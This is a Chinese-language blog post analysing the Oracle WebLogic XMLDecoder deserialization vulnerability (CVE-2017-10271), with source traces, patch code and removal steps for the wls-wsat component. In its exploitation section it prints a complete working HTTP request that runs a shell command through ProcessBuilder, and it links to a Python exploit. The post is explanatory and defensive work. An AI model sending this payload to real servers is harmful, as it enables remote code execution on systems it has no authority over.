一、weblogic安装 http://www.cnblogs.com/0x4D75/p/8916428.html
二、weblogic弱口令 http://www.cnblogs.com/0x4D75/p/8918761.html
三、weblogic 后台提权 http://www.cnblogs.com/0x4D75/p/8919760.html
四、 weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271)
影响版本:
Oracle WebLogic Server 10.3.6.0.0版本
Oracle WebLogic Server 12.1.3.0.0版本
Oracle WebLogic Server 12.2.1.1.0版本
Oracle WebLogic Server 12.2.1.2.0版本
0. 漏洞分析
通过POC利用后,抓取weblogic的返回响应的xml部分如下,调用栈在标签中:
从调用栈可以明确的看到源码中weblogic调用函数的过程:
processRequest
>readHeaderOld
>receive
>receiveRequest
>receiveRequest
>readEntry
>readUTF
我们发送的poc经过这部分处理,就到了<ns2:frame class="java.beans.XMLDecoder" file="XMLDecoder.java" line="206" method="readObject"/>
中。
processRequest函数源码为:
public NextAction processRequest(Packet var1) { this.isUseOldFormat = false; if(var1.getMessage() != null) { HeaderList var2 = var1.getMessage().getHeaders(); Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true); if(var3 != null) { this.readHeaderOld(var3); this.isUseOldFormat = true; } Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true); if(var4 != null) { this.readHeader(var4); } }
WorkAreaConstants.WORK_AREA_HEADER:
public interface WorkAreaConstants{ String WORK_NS = "http://bea.com/2004/06/soap/workarea/"; String WORK_PREFIX = "work"; String XML_TAG_WORK_CONTEXT = "WorkContext"; String XML_TAG = "work:WorkContext"; QName WORK_AREA_HEADER = new QName( "http://bea.com/2004/06/soap/workarea/", "WorkContext", "work"); QName[] WORK_HEADERS = new QName[]{WORK_AREA_HEADER} }
readHeaderOld源码:
protected void readHeaderOld(Header var1) { try { XMLStreamReader var2 = var1.readHeader(); var2.nextTag(); var2.nextTag(); XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter(); ByteArrayOutputStream var4 = new ByteArrayOutputStream(); XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4); var3.bridge(var2, var5); var5.close(); WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray())); this.receive(var6); } catch (XMLStreamException var7) { throw new WebServiceException(var7); } catch (IOException var8) { throw new WebServiceException(var8); } }
其中:
ByteArrayOutputStream: 捕获内存缓冲区的数据,转换成字节数组 ByteArrayInputStream: 将字节数组转化为输入流
上述过程中,var4会被赋予Poc中java标签内的代码,即:
<java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>id > /tmp/b4z</string> </void> </array> <void method="start"/></void> </java>
WorkContextXmlInputAdapter代码:
public WorkContextXmlInputAdapter(InputStream var1){ this.xmlDecoder = new XMLDecoder(var1); }
可以看到,在WorkContextXmlInputAdapter中,没有任何过滤就直接调用XMLDecoder方法,从而导致反序列化远程代码执行。
1. 利用过程
poc如下:
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.136.130:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Type: text/xml;charset=UTF-8 Content-Length: 1113 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>id > /tmp/b4</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
python版完整利用代码: https://github.com/b4zinga/Explib/blob/master/weblogic.py
2. 修复建议
- 安装补丁
四月份补丁(3506),在文件WorkContextXmlInputAdapter.java中,添加了validate()
public WorkContextXmlInputAdapter(InputStream is) { ByteArrayOutputStream baos = new ByteArrayOutputStream(); try { int next = 0; next = is.read(); while (next != -1) { baos.write(next); next = is.read(); } } catch (Exception e) { throw new IllegalStateException("Failed to get data from input stream", e); } validate(new ByteArrayInputStream(baos.toByteArray())); this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray())); } private void validate(InputStream is) { WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try { SAXParser parser = factory.newSAXParser(); parser.parse(is, new DefaultHandler() { public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { if (qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid context type: object"); } } }); } catch (ParserConfigurationException e) { throw new IllegalStateException("Parser Exception", e); } catch (SAXException e) { throw new IllegalStateException("Parser Exception", e); } catch (IOException e) { throw new IllegalStateException("Parser Exception", e); } }
其实就是在解析xml的过程中,如果qName值为Object就抛出异常,明显可以绕过。
10271补丁:
private void validate(InputStream is) { WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try { SAXParser parser = factory.newSAXParser(); parser.parse(is, new DefaultHandler() { private int overallarraylength = 0; public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { if(qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid element qName:object"); } else if(qName.equalsIgnoreCase("new")) { throw new IllegalStateException("Invalid element qName:new"); } else if(qName.equalsIgnoreCase("method")) { throw new IllegalStateException("Invalid element qName:method"); } else { if(qName.equalsIgnoreCase("void")) { for(int attClass = 0; attClass < attributes.getLength(); ++attClass) { if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) { throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass)); } } } if(qName.equalsIgnoreCase("array")) { String var9 = attributes.getValue("class"); if(var9 != null && !var9.equalsIgnoreCase("byte")) { throw new IllegalStateException("The value of class attribute is not valid for array element."); }
本次限制了object,new, method, void,array
等关键字段,这样就不能生成Java实例,所以不能执行命令。
- 删除WLS-WebServices组件
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war Middleware/wlserver_10.3/server/lib/wls-wsat.war
来源:https://www.cnblogs.com/0x4D75/p/8933028.html